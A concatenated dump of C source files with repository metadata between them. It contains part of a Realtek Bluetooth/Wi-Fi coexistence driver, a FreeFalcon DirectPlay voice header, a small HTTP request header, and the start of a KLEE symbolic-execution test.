else if(BTC_SCAN_FINISH == type)
{
//RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], SCAN FINISH notify\n"));
if(!bWifiConnected) // non-connected scan
{
halbtc8703b1ant_ActionWifiNotConnected(pBtCoexist);
}
else
{
halbtc8703b1ant_ActionWifiConnected(pBtCoexist);
}
}
}
VOID
EXhalbtc8703b1ant_ConnectNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
BOOLEAN bWifiConnected=FALSE, bBtHsOn=FALSE;
u4Byte wifiLinkStatus=0;
u4Byte numOfWifiLink=0;
BOOLEAN bBtCtrlAggBufSize=FALSE;
u1Byte aggBufSize=5;
if(pBtCoexist->bManualControl ||
pBtCoexist->bStopCoexDm ||
pBtCoexist->btInfo.bBtDisabled )
return;
if(BTC_ASSOCIATE_START == type)
{
pCoexSta->bWiFiIsHighPriTask = TRUE;
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8); //Force antenna setup for no scan result issue
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, FORCE_EXEC, FALSE, FALSE);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CONNECT START notify\n"));
pCoexDm->nArpCnt = 0;
}
else
{
pCoexSta->bWiFiIsHighPriTask = FALSE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CONNECT FINISH notify\n"));
//pCoexDm->nArpCnt = 0;
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_LINK_STATUS, &wifiLinkStatus);
numOfWifiLink = wifiLinkStatus>>16;
if(numOfWifiLink >= 2)
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 0, 0, 0, 0);
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, bBtCtrlAggBufSize, aggBufSize);
halbtc8703b1ant_ActionWifiMultiPort(pBtCoexist);
return;
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
if(pCoexSta->bC2hBtInquiryPage)
{
halbtc8703b1ant_ActionBtInquiry(pBtCoexist);
return;
}
else if(bBtHsOn)
{
halbtc8703b1ant_ActionHs(pBtCoexist);
return;
}
if(BTC_ASSOCIATE_START == type)
{
//RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CONNECT START notify\n"));
halbtc8703b1ant_ActionWifiNotConnectedAssoAuth(pBtCoexist);
}
else if(BTC_ASSOCIATE_FINISH == type)
{
//RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CONNECT FINISH notify\n"));
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
if(!bWifiConnected) // non-connected scan
{
halbtc8703b1ant_ActionWifiNotConnected(pBtCoexist);
}
else
{
halbtc8703b1ant_ActionWifiConnected(pBtCoexist);
}
}
}
VOID
EXhalbtc8703b1ant_MediaStatusNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
u1Byte H2C_Parameter[3] ={0};
u4Byte wifiBw;
u1Byte wifiCentralChnl;
BOOLEAN bWifiUnderBMode = FALSE;
if(pBtCoexist->bManualControl ||
pBtCoexist->bStopCoexDm ||
pBtCoexist->btInfo.bBtDisabled )
return;
if(BTC_MEDIA_CONNECT == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], MEDIA connect notify\n"));
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8); //Force antenna setup for no scan result issue
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, FORCE_EXEC, FALSE, FALSE);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_UNDER_B_MODE, &bWifiUnderBMode);
//Set CCK Tx/Rx high Pri except 11b mode
if (bWifiUnderBMode)
{
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cd, 0x00); //CCK Tx
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cf, 0x00); //CCK Rx
}
else
{
//pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cd, 0x10); //CCK Tx
//pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cf, 0x10); //CCK Rx
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cd, 0x00); //CCK Tx
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cf, 0x10); //CCK Rx
}
pCoexDm->backupArfrCnt1 = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x430);
pCoexDm->backupArfrCnt2 = pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x434);
pCoexDm->backupRetryLimit = pBtCoexist->fBtcRead2Byte(pBtCoexist, 0x42a);
pCoexDm->backupAmpduMaxTime = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x456);
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], MEDIA disconnect notify\n"));
pCoexDm->nArpCnt = 0;
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cd, 0x0); //CCK Tx
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cf, 0x0); //CCK Rx
pCoexSta->bCCKEverLock = FALSE;
}
halbtc8703b1ant_UpdateWifiChannelInfo(pBtCoexist, type);
}
VOID
EXhalbtc8703b1ant_SpecialPacketNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
BOOLEAN bBtHsOn=FALSE;
u4Byte wifiLinkStatus=0;
u4Byte numOfWifiLink=0;
BOOLEAN bBtCtrlAggBufSize=FALSE, bUnder4way=FALSE;
u1Byte aggBufSize=5;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_4_WAY_PROGRESS, &bUnder4way);
if(pBtCoexist->bManualControl ||
pBtCoexist->bStopCoexDm ||
pBtCoexist->btInfo.bBtDisabled )
return;
if( BTC_PACKET_DHCP == type ||
BTC_PACKET_EAPOL == type ||
BTC_PACKET_ARP == type )
{
if (BTC_PACKET_ARP == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], special Packet ARP notify\n"));
pCoexDm->nArpCnt++;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ARP Packet Count = %d\n", pCoexDm->nArpCnt));
if((pCoexDm->nArpCnt >= 10) && (!bUnder4way)) // if APR PKT > 10 after connect, do not go to ActionWifiConnectedSpecialPacket(pBtCoexist)
{
pCoexSta->bWiFiIsHighPriTask = FALSE;
}
else
{
pCoexSta->bWiFiIsHighPriTask = TRUE;
}
}
else
{
pCoexSta->bWiFiIsHighPriTask = TRUE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], special Packet DHCP or EAPOL notify\n"));
}
}
else
{
pCoexSta->bWiFiIsHighPriTask = FALSE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], special Packet [Type = %d] notify\n", type));
}
pCoexSta->specialPktPeriodCnt = 0;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_LINK_STATUS, &wifiLinkStatus);
numOfWifiLink = wifiLinkStatus>>16;
if(numOfWifiLink >= 2)
{
halbtc8703b1ant_LimitedTx(pBtCoexist, NORMAL_EXEC, 0, 0, 0, 0);
halbtc8703b1ant_LimitedRx(pBtCoexist, NORMAL_EXEC, FALSE, bBtCtrlAggBufSize, aggBufSize);
halbtc8703b1ant_ActionWifiMultiPort(pBtCoexist);
return;
}
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_HS_OPERATION, &bBtHsOn);
if(pCoexSta->bC2hBtInquiryPage)
{
halbtc8703b1ant_ActionBtInquiry(pBtCoexist);
return;
}
else if(bBtHsOn)
{
halbtc8703b1ant_ActionHs(pBtCoexist);
return;
}
if( BTC_PACKET_DHCP == type ||
BTC_PACKET_EAPOL == type ||
( (BTC_PACKET_ARP == type ) && (pCoexSta->bWiFiIsHighPriTask) ) )
{
halbtc8703b1ant_ActionWifiConnectedSpecialPacket(pBtCoexist);
}
}
VOID
EXhalbtc8703b1ant_BtInfoNotify(
IN PBTC_COEXIST pBtCoexist,
IN pu1Byte tmpBuf,
IN u1Byte length
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
u1Byte btInfo=0;
u1Byte i, rspSource=0;
BOOLEAN bWifiConnected=FALSE;
BOOLEAN bBtBusy=FALSE;
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
pCoexSta->bC2hBtInfoReqSent = FALSE;
rspSource = tmpBuf[0]&0xf;
if(rspSource >= BT_INFO_SRC_8703B_1ANT_MAX)
rspSource = BT_INFO_SRC_8703B_1ANT_WIFI_FW;
pCoexSta->btInfoC2hCnt[rspSource]++;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Bt info[%d], length=%d, hex data=[", rspSource, length));
for(i=0; i<length; i++)
{
pCoexSta->btInfoC2h[rspSource][i] = tmpBuf[i];
if(i == 1)
btInfo = tmpBuf[i];
if(i == length-1)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("0x%02x]\n", tmpBuf[i]));
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("0x%02x, ", tmpBuf[i]));
}
}
// if 0xff, it means BT is under WHCK test
if (btInfo == 0xff)
pCoexSta->bBtWhckTest = TRUE;
else
pCoexSta->bBtWhckTest = FALSE;
if(BT_INFO_SRC_8703B_1ANT_WIFI_FW != rspSource)
{
pCoexSta->btRetryCnt = // [3:0]
pCoexSta->btInfoC2h[rspSource][2]&0xf;
if (pCoexSta->btRetryCnt >= 1)
pCoexSta->popEventCnt++;
if (pCoexSta->btInfoC2h[rspSource][2]&0x20)
pCoexSta->bC2hBtPage = TRUE;
else
pCoexSta->bC2hBtPage = FALSE;
pCoexSta->btRssi =
pCoexSta->btInfoC2h[rspSource][3]*2-90;
//pCoexSta->btInfoC2h[rspSource][3]*2+10;
pCoexSta->btInfoExt =
pCoexSta->btInfoC2h[rspSource][4];
pCoexSta->bBtTxRxMask = (pCoexSta->btInfoC2h[rspSource][2]&0x40);
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_BT_TX_RX_MASK, &pCoexSta->bBtTxRxMask);
// Here we need to resend some wifi info to BT
// because bt is reset and loss of the info.
if(pCoexSta->btInfoExt & BIT1)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT ext info bit1 check, send wifi BW&Chnl to BT!!\n"));
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
if(bWifiConnected)
{
halbtc8703b1ant_UpdateWifiChannelInfo(pBtCoexist, BTC_MEDIA_CONNECT);
}
else
{
halbtc8703b1ant_UpdateWifiChannelInfo(pBtCoexist, BTC_MEDIA_DISCONNECT);
}
}
if(pCoexSta->btInfoExt & BIT3)
{
if(!pBtCoexist->bManualControl && !pBtCoexist->bStopCoexDm)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT ext info bit3 check, set BT NOT to ignore Wlan active!!\n"));
halbtc8703b1ant_IgnoreWlanAct(pBtCoexist, FORCE_EXEC, FALSE);
}
}
else
{
// BT already NOT ignore Wlan active, do nothing here.
}
#if(BT_AUTO_REPORT_ONLY_8703B_1ANT == 0)
if( (pCoexSta->btInfoExt & BIT4) )
{
// BT auto report already enabled, do nothing
}
else
{
halbtc8703b1ant_BtAutoReport(pBtCoexist, FORCE_EXEC, TRUE);
}
#endif
}
// check BIT2 first ==> check if bt is under inquiry or page scan
if(btInfo & BT_INFO_8703B_1ANT_B_INQ_PAGE)
pCoexSta->bC2hBtInquiryPage = TRUE;
else
pCoexSta->bC2hBtInquiryPage = FALSE;
pCoexSta->nNumOfProfile = 0;
// set link exist status
if(!(btInfo&BT_INFO_8703B_1ANT_B_CONNECTION))
{
pCoexSta->bBtLinkExist = FALSE;
pCoexSta->bPanExist = FALSE;
pCoexSta->bA2dpExist = FALSE;
pCoexSta->bHidExist = FALSE;
pCoexSta->bScoExist = FALSE;
pCoexSta->bBtHiPriLinkExist = FALSE;
}
else // connection exists
{
pCoexSta->bBtLinkExist = TRUE;
if(btInfo & BT_INFO_8703B_1ANT_B_FTP)
{
pCoexSta->bPanExist = TRUE;
pCoexSta->nNumOfProfile++;
}
else
pCoexSta->bPanExist = FALSE;
if(btInfo & BT_INFO_8703B_1ANT_B_A2DP)
{
pCoexSta->bA2dpExist = TRUE;
pCoexSta->nNumOfProfile++;
}
else
pCoexSta->bA2dpExist = FALSE;
if(btInfo & BT_INFO_8703B_1ANT_B_HID)
{
pCoexSta->bHidExist = TRUE;
pCoexSta->nNumOfProfile++;
}
else
pCoexSta->bHidExist = FALSE;
if(btInfo & BT_INFO_8703B_1ANT_B_SCO_ESCO)
{
pCoexSta->bScoExist = TRUE;
pCoexSta->nNumOfProfile++;
}
else
pCoexSta->bScoExist = FALSE;
if ((pCoexSta->bHidExist == FALSE) && (pCoexSta->bC2hBtInquiryPage == FALSE) &&( pCoexSta->bScoExist == FALSE))
{
if (pCoexSta->highPriorityTx + pCoexSta->highPriorityRx >= 160)
{
pCoexSta->bHidExist = TRUE;
pCoexSta->wrongProfileNotification++;
pCoexSta->nNumOfProfile++;
btInfo = btInfo | 0x28;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BtInfoNotify(), BT HID = true (Hi-Pri > 160)!\n"));
}
}
//Add Hi-Pri Tx/Rx counter to avoid false detection
if (((pCoexSta->bHidExist) || (pCoexSta->bScoExist)) && (pCoexSta->highPriorityTx + pCoexSta->highPriorityRx >= 160)
&& (!pCoexSta->bC2hBtInquiryPage))
pCoexSta->bBtHiPriLinkExist = TRUE;
else
pCoexSta->bBtHiPriLinkExist = FALSE;
if((btInfo&BT_INFO_8703B_1ANT_B_ACL_BUSY) && (pCoexSta->nNumOfProfile == 0))
{
if (pCoexSta->lowPriorityTx + pCoexSta->lowPriorityRx >= 160)
{
pCoexSta->bPanExist = TRUE;
pCoexSta->nNumOfProfile++;
pCoexSta->wrongProfileNotification++;
btInfo = btInfo | 0x88;
}
}
}
halbtc8703b1ant_UpdateBtLinkInfo(pBtCoexist);
btInfo = btInfo & 0x1f; //mask profile bit for connect-ilde identification ( for CSR case: A2DP idle --> 0x41)
if(!(btInfo&BT_INFO_8703B_1ANT_B_CONNECTION))
{
pCoexDm->btStatus = BT_8703B_1ANT_BT_STATUS_NON_CONNECTED_IDLE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BtInfoNotify(), BT Non-Connected idle!!!\n"));
}
else if(btInfo == BT_INFO_8703B_1ANT_B_CONNECTION) // connection exists but no busy
{
pCoexDm->btStatus = BT_8703B_1ANT_BT_STATUS_CONNECTED_IDLE;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BtInfoNotify(), BT Connected-idle!!!\n"));
}
else if((btInfo&BT_INFO_8703B_1ANT_B_SCO_ESCO) ||
(btInfo&BT_INFO_8703B_1ANT_B_SCO_BUSY))
{
pCoexDm->btStatus = BT_8703B_1ANT_BT_STATUS_SCO_BUSY;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BtInfoNotify(), BT SCO busy!!!\n"));
}
else if(btInfo&BT_INFO_8703B_1ANT_B_ACL_BUSY)
{
if(BT_8703B_1ANT_BT_STATUS_ACL_BUSY != pCoexDm->btStatus)
pCoexDm->bAutoTdmaAdjust = FALSE;
pCoexDm->btStatus = BT_8703B_1ANT_BT_STATUS_ACL_BUSY;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BtInfoNotify(), BT ACL busy!!!\n"));
}
else
{
pCoexDm->btStatus = BT_8703B_1ANT_BT_STATUS_MAX;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BtInfoNotify(), BT Non-Defined state!!!\n"));
}
if( (BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_SCO_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY == pCoexDm->btStatus) )
bBtBusy = TRUE;
else
bBtBusy = FALSE;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_BT_TRAFFIC_BUSY, &bBtBusy);
halbtc8703b1ant_RunCoexistMechanism(pBtCoexist);
}
VOID
EXhalbtc8703b1ant_RfStatusNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte type
)
{
u4Byte u4Tmp;
u1Byte u1Tmpa,u1Tmpb, u1Tmpc;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], RF Status notify\n"));
if(BTC_RF_ON == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], RF is turned ON!!\n"));
pBtCoexist->bStopCoexDm = FALSE;
}
else if(BTC_RF_OFF == type)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], RF is turned OFF!!\n"));
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 0);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_BT, FORCE_EXEC, FALSE, TRUE);
halbtc8703b1ant_IgnoreWlanAct(pBtCoexist, FORCE_EXEC, TRUE);
pBtCoexist->bStopCoexDm = TRUE;
}
}
VOID
EXhalbtc8703b1ant_HaltNotify(
IN PBTC_COEXIST pBtCoexist
)
{
u4Byte u4Tmp;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Halt notify\n"));
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 0);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_BT, FORCE_EXEC, FALSE, TRUE);
halbtc8703b1ant_IgnoreWlanAct(pBtCoexist, FORCE_EXEC, TRUE);
EXhalbtc8703b1ant_MediaStatusNotify(pBtCoexist, BTC_MEDIA_DISCONNECT);
pBtCoexist->bStopCoexDm = TRUE;
}
VOID
EXhalbtc8703b1ant_PnpNotify(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte pnpState
)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Pnp notify\n"));
if(BTC_WIFI_PNP_SLEEP == pnpState)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Pnp notify to SLEEP\n"));
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 0);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_BT, FORCE_EXEC, FALSE, TRUE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
pBtCoexist->bStopCoexDm = TRUE;
}
else if(BTC_WIFI_PNP_WAKE_UP == pnpState)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Pnp notify to WAKE UP\n"));
pBtCoexist->bStopCoexDm = FALSE;
halbtc8703b1ant_InitHwConfig(pBtCoexist, FALSE, FALSE);
halbtc8703b1ant_InitCoexDm(pBtCoexist);
halbtc8703b1ant_QueryBtInfo(pBtCoexist);
}
}
VOID
EXhalbtc8703b1ant_CoexDmReset(
IN PBTC_COEXIST pBtCoexist
)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], *****************Coex DM Reset*****************\n"));
halbtc8703b1ant_InitHwConfig(pBtCoexist, FALSE, FALSE);
//pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x1, 0xfffff, 0x0);
//pBtCoexist->fBtcSetRfReg(pBtCoexist, BTC_RF_A, 0x2, 0xfffff, 0x0);
halbtc8703b1ant_InitCoexDm(pBtCoexist);
}
VOID
EXhalbtc8703b1ant_Periodical(
IN PBTC_COEXIST pBtCoexist
)
{
static u1Byte disVerInfoCnt=0;
u4Byte fwVer=0, btPatchVer=0;
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
PBTC_STACK_INFO pStackInfo=&pBtCoexist->stackInfo;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ==========================Periodical===========================\n"));
if(disVerInfoCnt <= 5)
{
disVerInfoCnt += 1;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ****************************************************************\n"));
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Ant PG Num/ Ant Mech/ Ant Pos = %d/ %d/ %d\n",
pBoardInfo->pgAntNum, pBoardInfo->btdmAntNum, pBoardInfo->btdmAntPos));
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT stack/ hci ext ver = %s / %d\n",
((pStackInfo->bProfileNotified)? "Yes":"No"), pStackInfo->hciVersion));
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_BT_PATCH_VER, &btPatchVer);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U4_WIFI_FW_VER, &fwVer);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], CoexVer/ FwVer/ PatchVer = %d_%x/ 0x%x/ 0x%x(%d)\n",
GLCoexVerDate8703b1Ant, GLCoexVer8703b1Ant, fwVer, btPatchVer, btPatchVer));
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ****************************************************************\n"));
}
#if(BT_AUTO_REPORT_ONLY_8703B_1ANT == 0)
halbtc8703b1ant_QueryBtInfo(pBtCoexist);
halbtc8703b1ant_MonitorBtEnableDisable(pBtCoexist);
#else
halbtc8703b1ant_MonitorBtCtr(pBtCoexist);
halbtc8703b1ant_MonitorWiFiCtr(pBtCoexist);
#if BT_8703B_1ANT_ANTDET_ENABLE
halbtc8703b1ant_MonitorBtEnableDisable(pBtCoexist);
#endif
if( halbtc8703b1ant_IsWifiStatusChanged(pBtCoexist) ||
pCoexDm->bAutoTdmaAdjust )
{
halbtc8703b1ant_RunCoexistMechanism(pBtCoexist);
}
pCoexSta->specialPktPeriodCnt++;
// sample to set bt to execute Ant detection
//pBtCoexist->fBtcSetBtAntDetection(pBtCoexist, 20, 14);
/*
if (pPsdScan->bIsAntDetEnable)
{
if (pPsdScan->nPSDGenCount > pPsdScan->realseconds)
pPsdScan->nPSDGenCount = 0;
halbtc8703b1ant_AntennaDetection(pBtCoexist, pPsdScan->realcentFreq, pPsdScan->realoffset, pPsdScan->realspan, pPsdScan->realseconds);
pPsdScan->nPSDGenTotalCount +=2;
pPsdScan->nPSDGenCount += 2;
}
*/
#endif
}
VOID
EXhalbtc8703b1ant_AntennaDetection(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte centFreq,
IN u4Byte offset,
IN u4Byte span,
IN u4Byte seconds
)
{
//No Antenna Detection required because 8730b is only 1-Ant
}
VOID
EXhalbtc8703b1ant_AntennaIsolation(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte centFreq,
IN u4Byte offset,
IN u4Byte span,
IN u4Byte seconds
)
{
}
VOID
EXhalbtc8703b1ant_PSDScan(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte centFreq,
IN u4Byte offset,
IN u4Byte span,
IN u4Byte seconds
)
{
}
VOID
EXhalbtc8703b1ant_DisplayAntDetection(
IN PBTC_COEXIST pBtCoexist
)
{
}
#endif
|
0c2b08e3d7bf0853331955eecb9f317a2cb0289b
|
aeef4d7bab4ca441fbecc2823815e9f94cb4563b
|
/src/voicecomunication/voicecom.h
|
1702edc4ecc3e0a9b71dbd474170c6c3db87e7cf
|
[
"BSD-2-Clause"
] |
permissive
|
FreeFalcon/freefalcon-central
|
8fc80b6d82eab44ce314a39860e6ee8e6f5ee71a
|
c28d807183ab447ef6a801068aa3769527d55deb
|
refs/heads/develop
| 2021-01-23T20:49:45.844619
| 2014-10-30T18:32:35
| 2014-10-30T18:32:35
| 7,615,342
| 133
| 90
| null | 2014-10-30T18:32:35
| 2013-01-15T00:02:23
|
C++
|
UTF-8
|
C
| false
| false
| 2,658
|
h
|
voicecom.h
|
#include "f4vu.h"
#include "fsound.h"
#include "falcsnd/voicemanager.h"
#include "CmpClass.h"
#include "flight.h"
#include "sim/include/simdrive.h"
#define _WIN32_DCOM
#include <stdio.h>
#include <dplay8.h>
#include <dplobby8.h>
#include <dvoice.h>
#include "debuggr.h"
#include "sim/include/navsystem.h"
#include <tchar.h>
//-----------------------------------------------------------------------------
// Function-prototypes
//-----------------------------------------------------------------------------
HRESULT WINAPI DirectPlayMessageHandler(PVOID pvUserContext, DWORD dwMessageId, PVOID pMsgBuffer);
HRESULT WINAPI LobbyAppMessageHandler(PVOID pvUserContext, DWORD dwMessageId, PVOID pMsgBuffer);
HRESULT WINAPI DirectVoiceServerMessageHandler(PVOID pvUserContext, DWORD dwMessageId, PVOID pMsgBuffer);
HRESULT WINAPI DirectVoiceClientMessageHandler(PVOID pvUserContext, DWORD dwMessageId, PVOID pMsgBuffer);
BOOL IsServiceProviderValid(const GUID* pGuidSP);
void StopVoice();
HRESULT InitDirectPlay();
HRESULT InitDirectPlayVoice();
HRESULT CreateDeviceAddress();
HRESULT CreateHostAddress(WCHAR* pwszHost);
HRESULT HostSession();
HRESULT EnumDirectPlayHosts(char* ip);
HRESULT ConnectToSession();
HRESULT SendDirectPlayMessage();
HRESULT Register();
HRESULT UnRegister();
HRESULT LobbyLaunch();
HRESULT TestDirectVoice();
HWND GetConsoleHwnd();
void CleanupDirectPlay();
int main(char* ip);
void CreateGroup(unsigned long freq);
void SetListenFreqsHost(DPNID playerid, unsigned long com1, unsigned long com2, unsigned long guard);
void SetListenFreqsClient(unsigned long com1, unsigned long com2, unsigned long guard);
void TransmistoFreq(unsigned long freq);
void Transmit(int com);
void RefreshVoiceFreqs(void);
void startupvoice(char*);
void DirectVoiceSetVolume(int Channel = 0); // only 1 channel // MLR 1/29/2004 -
/*VOID DXUtil_ConvertWideStringToGeneric( TCHAR* tstrDestination, const WCHAR* wstrSource, int cchDestChar = -1 );
VOID DXUtil_ConvertWideStringToAnsi( CHAR* strDestination, const WCHAR* wstrSource, int cchDestChar = -1 );
*/
//-----------------------------------------------------------------------------
// Miscellaneous helper functions
//-----------------------------------------------------------------------------
/*#define SAFE_DELETE(p) {if(p) {delete (p); (p)=NULL;}}
#define SAFE_DELETE_ARRAY(p) {if(p) {delete[] (p); (p)=NULL;}}
#define SAFE_RELEASE(p) {if(p) {(p)->Release(); (p)=NULL;}}
*/
#define USER_HOST 1
#define USER_CONNECT 2
#define USER_EXIT 1
#define USER_SEND 2
#define CMDLINE_REGISTER "register"
#define CMDLINE_UNREGISTER "unregister"
|
321b4701c8c3cd8466791d72e912838b681a3d20
|
e656978e5c3cc80ccb55ed8dca9cc3bd69d18921
|
/examples/server/include/request.h
|
760e693532acf6dfcf5ff46c6e8b2a55bb9f525e
|
[
"MIT"
] |
permissive
|
goodpaul6/Tiny
|
6d7458eca419b6e8926107787f9d7e02a46b99cc
|
94acd96f454b0a5b3576e08c1fa202746878cf41
|
refs/heads/master
| 2023-05-27T02:42:13.020622
| 2023-05-17T18:53:43
| 2023-05-17T18:53:43
| 27,659,160
| 134
| 11
|
MIT
| 2022-08-29T08:50:16
| 2014-12-07T04:23:34
|
C
|
UTF-8
|
C
| false
| false
| 623
|
h
|
request.h
|
#pragma once
#include <stdbool.h>
#define REQUEST_METHOD_SIZE 64
#define REQUEST_TARGET_SIZE 512
#define REQUEST_VERSION_SIZE 64
#define REQUEST_HEADER_NAME_SIZE 256
typedef struct {
char name[REQUEST_HEADER_NAME_SIZE];
char* value; // array
} RequestHeader;
typedef struct {
char method[REQUEST_METHOD_SIZE];
char target[REQUEST_TARGET_SIZE];
char version[REQUEST_VERSION_SIZE];
RequestHeader* headers; // array
char* body; // array
} Request;
void InitRequest(Request* r);
const char* GetHeaderValue(const Request* r, const char* name);
void DestroyRequest(Request* r);
|
ffa6d2766896ba1c46df797283a59927cb9fe2e4
|
549f66608f0cb4e50cee2e51c53206e798ab82cd
|
/test/ArrayOpt/test_expr_arbitrary.c
|
145efea9b4b454487a4ffc8ed938cd91f81966ce
|
[
"NCSA"
] |
permissive
|
klee/klee
|
c8da2f9668ee199af47cd2c784cea979017d7704
|
7082eafd05b4f268132ab94772c0243dbebf5087
|
refs/heads/master
| 2023-08-04T08:10:38.619540
| 2023-06-23T21:34:12
| 2023-07-21T09:00:02
| 11,568,417
| 2,339
| 679
|
NOASSERTION
| 2023-09-11T10:23:26
| 2013-07-21T22:03:03
|
C++
|
UTF-8
|
C
| false
| false
| 1,017
|
c
|
test_expr_arbitrary.c
|
// RUN: %clang %s -g -emit-llvm %O0opt -c -o %t.bc
// RUN: rm -rf %t.klee-out
// RUN: %klee --write-kqueries --use-query-log=all:kquery --output-dir=%t.klee-out %t.bc > %t.log 2>&1
// RUN: FileCheck %s -input-file=%t.log -check-prefix=CHECK
// RUN: rm -rf %t.klee-out
// RUN: %klee --optimize-array=value --write-kqueries --use-query-log=all:kquery --output-dir=%t.klee-out %t.bc > %t.log 2>&1
// RUN: FileCheck %s -input-file=%t.log -check-prefix=CHECK
// RUN: FileCheck %s -input-file=%t.log -check-prefix=CHECK-V
#include "klee/klee.h"
#include <stdio.h>
short array[10] = {42, 1, 42, 42, 2, 5, 6, 42, 8, 9};
int main() {
char k;
// CHECK-V: KLEE: WARNING: OPT_V: successful
klee_make_symbolic(&k, sizeof(k), "k");
